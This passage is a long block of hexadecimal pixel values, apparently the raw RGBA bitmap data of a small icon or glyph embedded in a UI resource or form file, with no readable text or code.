FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0\n      C0FFC0C0C0FFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC5C6C6FFC6C6\n      C6FFC6C6C6FFC6C6C6FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C6FFC6C6\n      C6FFC6C6C6FFC5C6C6FFC3C3C3FFFFFFFFFFD5D5D5FFBCBCBCFFBCBCBCFFBCBC\n      BCFFBCBCBCFFBCBCBCFFBCBCBCFFBCBCBCFFBCBCBCFFBCBCBCFFBCBCBCFFBCBC\n      BCFFBCBCBCFFBCBBBCFFBCBCBCFFFFFFFFFF29ACBAFF13F5FFFF13F0FFFF13EF\n      FFFF14EFFFFF14EFFFFF14EFFFFF14EFFFFF14EFFFFF14EFFFFF14EFFFFF14EF\n      FFFF13F0FFFF13F0FFFF13F8FFFF4D959EFF3B339CFF3321DFFF3321DFFF2C1E\n      B6FF0C1005FF0F1112FF0F1112FF0F1112FF0F1112FF0F1112FF0F1112FF0F11\n      12FF0E1011FF0D0F10FF0D0F10FF4C4E4EFFB9A7A0FFF8A445FFC54E00FFCC5D\n      05FFC85300FFFFFFDDFFC89AFFFF9444E1FF9444E1FFCBA1FFFFFFF9D5FFC853\n      00FFCA5D05FFBF4700FFEA9149FF9C938EFF3D2B8CFF300EBEFF320FBCFF3210\n      BCFF3210BCFF3210BCFF3210BCFF3210BCFF3210BCFF3210BCFF3210BCFF3210\n      BCFF3210BCFF310FBCFF300DBDFF584E85FF2DACBBFF18E5FEFF18E3FAFF1BE3\n      FAFF1BE3FAFF1BE3FAFF1BE3FAFF1BE3FAFF1BE3FAFF1BE3FAFF1BE3FAFF1BE3\n      FAFF1AE3FAFF19E3FAFF17E8FFFF4C98A0FF3A319FFF301ED5FF3220D5FF2C1F\n      ABFF0E1005FF111213FF111213FF111213FF111213FF111213FF111213FF1112\n      13FF101212FF0F1111FF0D0F10FF4D4D4DFF45209AFF9174FFFFF4E8E5FFCD8A\n      3DFF932400FFF8E7C8FFA085ECFF6430D0FF642FD0FFA58BEEFFF4E0C1FF8E1D\n      00FFB76C3AFFF7F0EAFFFFFFFFFFA5A7A1FFC3C4BEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA4A4A1FF2EA8B8FF1BE3FCFF1DE1F8FF1FE1\n      F8FF1FE1F8FF1FE1F8FF1FE1F8FF1FE1F8FF1FE1F8FF1FE1F8FF1FE1F8FF1FE1\n      F8FF1EE1F8FF1DE1F8FF1AE6FFFF4E959EFF3A2E9EFF2F1CD4FF311ED5FF2C1C\n      AAFF0C0E01FF0F0F0FFF0F0F0FFF0F0F10FF0F0F10FF0F0F0FFF0F0F0FFF0F0F\n      0FFF0E0E0FFF0C0D0EFF0A0B0BFF494A4AFFC2C7BAFF9D85EAFF1700CAFF6858\n      FAFFCAB5C9FFFFF9D9FF8C75E6FF4722CFFF4621CFFF927CE8FFFAEED2FFEBDE\n      D6FFFFFFFFFFFFFFFFFF9078EAFF514A87FF52409AFF5336C9FF5537C8FF5638\n      C9FF5638C9FF5638C9FF573AC9FF573AC9FF573AC9FF573AC9FF5638C9FF5638\n      C9FF5638C9FF5537C8FF5436CAFF62598DFF2EA7B7FF1DE2FDFF20DEF9FF21DE\n      F9FF22DEF9FF22DEF9FF22DEF9FF22DEF9FF22DEF9FF22DEF9FF22DEF9FF22DE\n      F9FF21DEF9FF1FDEF9FF1CE5FFFF4F939DFF3A2C9DFF2D1AD3FF301DD5FF2A1A\n      A8FF050800FF080808FF080808FF080808FF080808FF080808FF080808FF0708\n      08FF070707FF050504FF020303FF484848FFCCCCBAFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF8474E1FF2C15CEFF2C15CEFF8A7BE2FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A69CFF867BABFFA899E4FFA899E3FFA99A\n      E3FFA99AE3FFA99AE3FFA99AE3FFA99AE3FFA99AE3FFA99AE3FFA99AE1FFA99A\n      E1FFA99BE1FFA899E1FFA99AE3FF807A96FF30A6B6FF1CE1FDFF20DFF9FF20DF\n      F9FF22DFF9FF22DFF9FF22DFF9FF22DFF9FF22DFF9FF22DFF9FF22DFF9FF22DF\n      F9FF21DFF9FF1FDFF9FF1DE4FFFF50939BFF3A2E9DFF2D18D3FF2B16CFFF5547\n      D6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF3F339CFF3824D7FF3A26D3FF3C2A\n      D3FF3D2BD3FF3E2CD3FF3120D0FF2E1CD0FF2E1CD0FF3220D0FF3E2CD3FF3B29\n      D2FF3A26D1FF3926D2FF3C28DCFF5A558BFFA0938CFFD0BEB0FFCFBEB2FFD0BD\n      B0FFD1BFB3FFD0BEB1FFD1BFB3FFD0BDB1FFD1BFB3FFD0BEB0FFC6BADBFFC2B8\n      EAFFC2B7EAFFC1B7EAFFC2B8EBFF8B8699FF2CA8BBFF1CE7FFFF1BE1FFFF1BE2\n      FFFF1BE2FFFF1BE2FFFF1BE2FFFF1BE2FFFF1BE2FFFF1BE2FFFF1BE2FFFF1BE2\n      FFFF1BE2FFFF19E3FFFF16E8FFFF4E949EFF3A2C9DFF311DD4FF2D17CFFF5241\n      D2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF352A9AFF2E17D6FF2A16CFFF2A17\n      CFFF2C19CFFF2C19CFFF301CD0FF321FD1FF321FD1FF301CD0FF2C19CFFF2B18\n      D0FF2A17CEFF2814CFFF2711D8FF554E8AFF66452EFF8D5A3DFF723613FF8D5D\n      43FF6E3310FF906149FF6D2F0BFF93664EFF6A2C09FF96684CFF4C238FFF4120\n      C4FF401EC1FF3F1DC1FF3D1BC2FF5A4E8AFFA2633CFFDD7738FFDA7839FFD975\n      38FFD77132FFD77032FFD77032FFD77132FFD77132FFD77132FFD77132FFD771\n      32FFD77031FFD67030FFDC702EFF8F6B55FF3B2F9EFF3620D5FF331ED2FF5648\n      D3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF2E2198FF2209D4FF240DCFFF230D\n      CDFF1E09CCFF1D08CCFF2A16CFFF311FD1FF321FD1FF2A16CFFF1E09CCFF1C07\n      CCFF1B07CBFF1903CBFF1801D5FF504A88FF6D4E3AFF7A421DFF95674AFF783E\n      1BFF93664EFF713614FF966950FF6F3412FF986B53FF6B2C09FFDED0C0FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA4A4A1FF986B4AFFCE864CFFCA864EFFCC86\n      4FFFCC874FFFCB844CFFC88048FFC77A44FFC77A43FFC77A43FFC77B43FFC779\n      42FFC77941FFC67840FFCC7B41FF8A6F5CFF3D2F9EFF3922D7FF3621D4FF5E4D\n      D9FFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFFFFFFFFA4A0A4FF9591AFFFC9C2F7FFBAB1EFFFB6AF\n      F0FFB9B0EEFFC1BBF0FF5C4DD9FF2914CEFF2814CEFF5C4ED9FFC0B9F0FFBAB5\n      EFFFC3BDEFFFBFB9EFFFBBB3F9FF807D95FF6C4B36FF966647FF834B27FF986B\n      4FFF824A28FF986B50FF7A4322FF94664DFF763E1FFF94674BFF552E93FF4D2F\n      C8FF4C2DC5FF4B2BC5FF4A2BC7FF60548CFF986B4AFFCF8A50FFCB8751FFCD89\n      52FFCD8953FFCD8953FFCD8953FFCD8954FFCD8851FFCC8650FFCC864FFFCC86\n      4FFFCC864FFFCC8751FFD28A51FF8B705DFF3F309EFF3C26D8FF3F25DAFF333D\n      AAFF00A700FF029E02FF029E02FF039E03FF019D01FF009C00FF009A00FF009A\n      00FF009A00FF009C00FF00A200FF487948FF716AA7FF8B7DEBFFFEFDFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF8475E5FF3520D4FF331DD2FF8779E5FFFFFFFFFFD4D5\n      FFFF8578EAFFACA2ECFFFFFFFFFFA5A79CFF6F4F3AFF8B542FFF936342FF8C57\n      35FF946444FF8D5836FF946444FF8D5836FF956444FF88522DFFA68CAEFFB8AB\n      E8FFB9ABE8FFBAABE7FFBCADEBFF858198FF996B4AFFD18B52FFCE8B54FFCE8B\n      55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B\n      55FFCE8B55FFCE8A53FFD48D54FF8B705DFF3F309EFF3F27D9FF4026DAFF3A41\n      B1FF12B307FF17AB17FF17AB17FF17AB17FF17AB17FF17AB17FF17AB17FF16AB\n      16FF15AB15FF13AA13FF0FAE0FFF497C49FF655DA4FFFFFFFFFFFFFFFFFFFDFC\n      FCFFA15E36FFEFDABAFF8477EDFF371FD4FF361ED4FF8B81F0FFEBD3B2FFB573\n      3EFFD8D5F7FF5246F6FF1400DCFF777392FF72523CFF94613CFF966444FF9260\n      3DFF986948FF915E3BFF9A6B4CFF915D3AFF9B6D4DFF8F5932FFAC92B0FFBEB1\n      EBFFBEAFE9FFBEAFE8FFBEB0EBFF888198FF996B49FFD38D53FFCF8B53FFCF8B\n      54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C\n      54FFCF8B54FFCF8C52FFD68E55FF8A6F5CFF3D2F9EFF3F24DBFF4024DBFF373D\n      B1FF0DB502FF11AC11FF11AC11FF11AC11FF11AC11FF11AC11FF11AC11FF11AC\n      11FF10AC10FF0EAB0EFF0AAF0AFF477B47FFCBD4CFFFFFFFFEFFAD7046FF8023\n      00FF822700FFFAEBCDFF8576F1FF351CD5FF351BD5FF897CF1FFF7E5C6FF8227\n      00FF882B00FFCE9652FFEAE4FFFF616099FF6D4C35FF986641FF8B532AFF9A6A\n      49FF8A5028FF9D6F4EFF874E24FF9F7252FF864C21FFA17450FF65399CFF5D37\n      CFFF5C36CDFF5B35CDFF5A32D0FF5E528CFF9E7150FFD89D6BFFD59968FFD599\n      68FFD59A68FFD59A68FFD59A68FFD59A68FFD59A68FFD59A68FFD59A68FFD59A\n      68FFD59968FFD59967FFD99B6AFF987C68FF453AA5FF5B47E0FF5941E0FF5258\n      BFFF30BF26FF33B633FF33B633FF33B633FF33B633FF33B633FF33B633FF33B6\n      33FF33B633FF31B531FF32B832FF558955FF8C6655FF994311FFA05327FFA55F\n      35FF9A4B1FFFFFF7DFFF998FF9FF523DE2FF513CE2FFA096FCFFFFF0D6FF9A4C\n      1FFFA55F35FF9E5427FFA14C13FF917A6BFF765A48FF92613FFFA07557FF905E\n      3CFFA2795DFF8E5C3AFFA47B61FF8C5936FFA58063FF88522DFFDED2C5FFFFFF\n      FEFFFFFFFCFFFFFFFCFFFFFFFCFFADADABFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBEBFFFBFBEBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF616F1EFF4D60C9FF4D4BCBFF3F5F\n      E3FF666B4CFF6F8908FF6E870FFF6E870FFF6E870FFF6E870FFF6E870FFF6E87\n      0FFF6F870FFF6E880EFF708B0EFF6A714CFF8B4032FFBA3D23FFB63D23FFB73C\n      22FFB73D23FFB73D23FFB73D23FFB73D23FFB73D23FFB73D23FFB73D23FFB73D\n      23FFB73C22FFB63D23FFBC3E22FF845950FF9E754DFFDB9C52FFD69951FFD799\n      51FFD79951FFD79951FFDA974CFFB4AA7BFFB4AA7BFFDD964AFFD89950FFDA98\n      4EFFD89950FFD89950FFDD9E52FF8F7560FF2A46A9FF1347F3FF1546EDFF1447\n      EDFF1546EDFF1546EDFF1546EDFF1546EDFF1546EDFF1546EDFF1546EDFF1546\n      EDFF1445EDFF1346EDFF1447F6FF4D5C93FF5C6C1FFF4F68C2FF6499C6FF93AB\n      E5FF54634EFF657D09FF647C11FF647C11FF647C11FF647C11FF647C11FF647C\n      11FF647B0FFF637B10FF647D0EFF697049FF844535FFA43F27FFA14028FFA241\n      29FFA2412AFFA2412AFFA2412AFFA2412AFFA2412AFFA2412AFFA2412AFFA23F\n      27FFA33A21FFA13E27FFA33F26FF815A52FF9A7951FFC69956FFC49756FFC498\n      56FFC49857FFC49857FFCA9552FF7AB6A8FF7CB5A6FFBB9B61FF41CBE4FFB79D\n      64FFC29858FFB89B64FFC99954FF8E7861FF2B46A9FF1340E4FF1540E0FF1642\n      E1FF1741E1FF1743E1FF1743E1FF1743E1FF1743E1FF1743E1FF1743E1FF1741\n      E1FF1642E1FF1540E0FF1340E7FF4C5B96FF57671FFF4A47B8FF8186D6FF3A50\n      D3FF516250FF5E7809FF5D7611FF5F7611FF5F7611FF5D7611FF5D7611FF5D76\n      11FF5E7710FF5D760DFF5C770CFF666E49FF794537FF96412AFF95422CFF9643\n      2EFF96432EFF96422EFF96422EFF96422FFF96422FFF96422EFF973D26FF9C57\n      44FF908D8AFF9B381FFF983F2AFF7B5B54FF927A54FFBF9A5BFFBD995BFFBC9A\n      5CFFBC995BFFBC9B5DFFBC9B5DFFC09858FFC19857FFBB9B5DFF8BAC92FFC498\n      55FF51BFC8FF44C3D4FFCA9952FF8B7862FF24B6BCFF0BFBFFFF0DF7FFFF0FF7\n      FFFF0EF9FFFF0EF8FFFF0EF8FFFF10F8FFFF10F8FFFF0EF8FFFF0EF8FFFF0FF9\n      FFFF0FF7FFFF0DF7FFFF09FEFFFF499CA0FF53661FFF3B3CA7FF3E4967FF423D\n      90FF4C5F55FF597408FF58720FFF58720FFF58720FFF58720FFF58720FFF5872\n      10FF57710FFF56700DFF56710AFF636D49FF734638FF8D412DFF8C442FFF8D45\n      31FF8D4531FF8D4631FF8D4631FF8D4631FF8D4631FF8E412BFF8F675AFF346F\n      87FF214353FF6297A7FF95391FFF755C55FF8E7A57FFB89C5FFFB69B5FFFB69C\n      60FFB69C61FFB69C61FFB79C61FFB79C61FFB89B5FFFAE9E69FF7CAE97FFAF9E\n      69FFB89B5EFFBB995AFF98A882FF6E827AFF24B2C1FF09F6FFFF0DF1FFFF0FF2\n      FFFF10F2FFFF10F2FFFF08EBFFFF01E3FAFF00E2F8FF0DEFFFFF10F2FFFF0EF2\n      FFFF0FF2FFFF0DF1FFFF0AF8FFFF499AA2FF526520FF3A38A8FF404C6BFF403D\n      92FF485C53FF577308FF567110FF567110FF567110FF567110FF567210FF5670\n      0EFF556F0EFF546E0CFF547009FF626A49FF70463AFF89422EFF884331FF8944\n      32FF894632FF8A4733FF8A4733FF8A4733FF8A4632FF8F3D24FF64E7FFFF1D34\n      44FF050000FF47B7D6FF7C8C8FFF735850FF8C7B58FFB79D61FFB39C61FFB59D\n      62FFB59D63FFB69D64FFB59D64FFB59D64FFB79C62FFAC9F6BFF08D3FFFFAD9E\n      69FFB69C60FFB99A5BFF73B3A2FF4E8C99FF252020FF090000FF0D0000FF0D00\n      00FF0E0000FF080000FF543E3EFFC3ADACFFE0C9C4FF190502FF0D0000FF0E00\n      00FF0E0000FF0B0000FF090000FF494747FF556620FF3B39B8FF3C2F92FF3824\n      ABFF496153FF587308FF577210FF577210FF577210FF577210FF577210FF5771\n      0FFF56700EFF556F0CFF557009FF626B49FF744A31FF89412CFF894532FF8641\n      2CFF823A22FF863D1FFF89442CFF8B4733FF8B422DFF826F69FF5CEBFFFF4599\n      BAFF13002FFF65F2FFFF64CCE8FF75564DFF908356FFBAA161FFB19E63FFAE9C\n      62FFAB9358FFAE9755FFB69F5DFFB59C63FFB69D63FFB49C63FFC39756FFB49C\n      62FFB59D61FFB49B60FFBE9C5BFF847A66FF242120FF0B0900FF0C0900FF0D0A\n      00FF0F0B01FF000000FFFFFFFFFF999790FF2C43A5FFC4C1B8FF010000FF0F0C\n      00FF0C0B00FF0C0900FF070400FF494847FF556720FF3F37AAFF4C518CFF3D33\n      9AFF4D5850FF577308FF55700EFF546F0BFF57720FFF577210FF577210FF5771\n      0FFF56700EFF556F0CFF547009FF626B49FF3F24B6FFC79F82FF81371EFFAB75\n      5CFFE5DBE4FFAFA5FFFF894F66FF8A452DFF8C402AFF788D90FF65CBF9FF6FA4\n      DCFF448CC4FF205B94FF52D1F8FF785850FF3F2AA9FFA388DBFF7C1A00FF882B\n      02FFCFA78FFFBDB7FFFF9177D5FFB8A05BFFB69D64FFB69D63FFB69D64FFB59D\n      62FFB99A5CFFB49B61FFB99D60FF857A66FF2A4BB4FF174DFAFF1950F6FF194C\n      F4FF1548F3FF0238EFFFFFFFFFFF81827BFFFFFFFFFFB8C6F8FF083EF2FF1549\n      F3FF1446F4FF1345F4FF1245FAFF4B5D9AFF566720FF4141C2FF463FBBFF4C2E\n      C2FF52705BFF5E7A0CFF5F7818FF7A9144FF4B6802FF55700FFF55700FFF556F\n      0EFF546E0DFF536D0BFF556F09FF626B49FF4124A9FFE5CBA3FFE2D5D4FFB2A1\n      FFFF8B5B9EFF9B5A2EFF8C4427FF894632FF8B3F28FF728E8CFF9777DBFF928F\n      DAFF41AFD5FF0C326FFF3697C6FF7A5D53FF4632A3FFAE95D3FFD7B186FFCBC7\n      FFFF9477D0FF9B5841FF8B3100FFB9A468FFB59B62FFB59B62FFB59B62FFBB99\n      5CFF52B9BCFF40BECAFFC89A53FF787E70FF2B3FA5FF1A3DE1FF1D3EDEFF1D3F\n      DEFF1F40DEFF1637DDFF5667E5FF7986A9FFCFC4F1FF1835DAFF1330DBFF1532\n      DBFF1431DBFF1330DBFF1131E2FF4D5692FF566720FF50469EFF3B71BCFF4E64\n      9BFF5C6156FF63800CFF6B8522FF80953DFFC2CBA5FF5B750AFF617A15FF617A\n      15FF617A14FF637B12FF65800FFF636D49FF4321A3FF9A76F7FF8A65EDFF926E\n      E8FF9470E8FF9273FDFF966282FF97533CFF954D37FF84999CFF70C3F1FF6FCF\n      F5FF61D1F0FF4698C0FF60D4F9FF795C54FF452FA0FF6F52E7FF8F79F0FF8E75\n      E8FF927AE9FF927CF7FF9685F0FFBFAA68FFBCA570FFBBA46EFFB9A46DFFBDA2\n      6AFF98AE8DFF9FAD89FF6BC2BBFF4791A4FF25B6BBFF0FFCFFFF11F8FFFF15F8\n      FFFF16F9FFFF16F9FFFF0FF4FFFF0DF0FFFF06ECFEFF12F6FFFF14F8FFFF15F8\n      FFFF14F9FFFF11F7FFFF0FFFFFFF499B9EFF586820FF4547C5FF4A3AC7FF4B2C\n      CBFF56745AFF7A922EFF899B4BFF5A7503FFB0BE88FF617A0EFF678117FF6781\n      16FF678115FF658013FF67830FFF636D49FF4321A3FF9068F4FF8D67EDFF8C65\n      E9FF8A64F0FF8F6CFFFF956186FF97553CFF975743FF99513AFF9B4D35FF9B4C\n      32FF9B4C34FF9E5035FF9E4B31FF745D56FF452FA0FF7354E8FF9582F2FF947B\n      E8FF9077E9FF917BF6FF9886F1FFC1AB68FFBEA873FFBEA873FFBEA873FFBEA8\n      73FFC1A76FFFC2A56CFFBAAE7BFF857A67FF25BBC9FF10FFFFFF13FFFFFF15FF\n      FFFF16FFFFFF17FFFFFF17FFFFFF17FFFFFF17FFFFFF17FFFFFF17FFFFFF16FF\n      FFFF15FFFFFF13FFFFFF0FFFFFFF499EA5FF56681FFF5150C8FF637A99FF7C80\n      CAFF5A6051FF658205FF7A9131FF79912FFF7B9233FF65800DFF668211FF6682\n      11FF668210FF66810EFF68850AFF626B47FF4522A8FFE4CCACFF9D77D3FFC0AD\n      FFFFDFC7ABFFA26238FF97553AFF985640FF985641FF985641FF985641FF9756\n      41FF975641FF96543FFF9A5741FF745C55FF4831A3FFB79CD6FF975F70FFAC9C\n      FCFFE1D3E0FFBD8047FF913700FFC2B17BFFBFA973FFBFA973FFBFA973FFBFA9\n      73FFBFA972FFBEA970FFC5AD73FF837A66FF231F1FFF0B0000FF0E0000FF1002\n      02FF110301FF110301FF110301FF110301FF110301FF110301FF110301FF1103\n      02FF100200FF0E0000FF0A0000FF474646FF5D6D29FF6B64CEFF8077CBFF555E\n      D9FF6E806CFF7A922DFF778F30FF778F30FF778F30FF799133FF799133FF7991\n      33FF799133FF789131FF7A9332FF6F7854FF4B2FB0FFD3B091FF9E5E40FFB488\n      83FFA784DBFFC3B7FFFFB88D7DFFA36654FFA56958FFA56958FFA56958FFA569\n      58FFA46958FFA46857FFA66A59FF826961FF4F3CA9FFBAA3DCFF9D4D14FFA95F\n      2EFF986692FFBCB3FFFFD6CAE0FFC6B37CFFC7B385FFC7B385FFC7B385FFC7B3\n      85FFC7B484FFC6B285FFCAB686FF928974FF2F2F2FFF333333FF313130FF3333\n      33FF333333FF333333FF333333FF333333FF333333FF333333FF333333FF3333\n      33FF333333FF313131FF323232FF555555FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      